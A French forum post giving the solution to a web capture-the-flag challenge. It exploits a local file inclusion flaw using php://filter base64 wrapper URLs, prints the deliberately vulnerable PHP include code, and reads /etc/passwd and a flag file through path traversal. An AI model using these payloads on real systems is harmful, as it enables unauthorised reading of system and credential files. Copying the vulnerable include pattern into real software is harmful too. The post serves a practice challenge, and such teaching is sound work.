Posté(e) 20 février 20215 a Admin Alors voila enfin le temps de la solution : Pour commencer, il vous fallait trouver une page qui pouvait être exploitable et ça la plupart vous avez réussis, la page est celle-ci : https://challenge0day.000webhostapp.com/page.php?p=single.php Vous voyez donc que cette permet à partir d'une page d'en accéder une autre alors la vous pensez tout de suite à une lfi ! (non personne y à pensé x() Donc à partir d'ici vous allez tester d'accéder à d'autres pages et path mais vous voyez que ce n'est pas possible. C'est la que le premier indice rentre en jeux, php://wrapper. Ensuite il ne vous reste plus qu'à encoder la page page.php pour en voir le code source et voir comment elle fonctionne : https://challenge0day.000webhostapp.com/page.php?p=php://filter/convert.base64-encode/resource=page.php Vous avez donc ici le code source de la page en base64, allez sur un décodeur en ligne et trouvez le code source. Vous voyez dans le body ceci: <?php if (isset($_GET["p"]) and $_GET["p"]!="../../etc/passwd") { include $_GET["p"]; } else { echo "protection against attacker"; header('Location: index.php'); } ?> Vous accédez donc au fichier passwd de la même façon que pour voir le code source de la page : https://challenge0day.000webhostapp.com/page.php?p=php://filter/convert.base64-encode/resource=../../etc/passwd Vous voyez l'utilisateur matt que l'on recherche et par la même occasion le path de ces fichiers : matlecon:f8fk3j1OIf31.:182:100:Matfamily:/home/matlecon/:/bin/csh Vous accédez donc à son path + flag.txt de la même façon que toujours : https://challenge0day.000webhostapp.com/page.php?p=php://filter/convert.base64-encode/resource=../../home/matlecon/flag.txt Et voila, vous avez le flag c'était pas si compliqué que ça ^^. Merci encore une fois à @JuneDaypour ce merveilleux challenge qui m'auras trigger au début x). Petit ajout si vous voulez en savoir plus sur les lfi et php wrapper :
Créer un compte ou se connecter pour commenter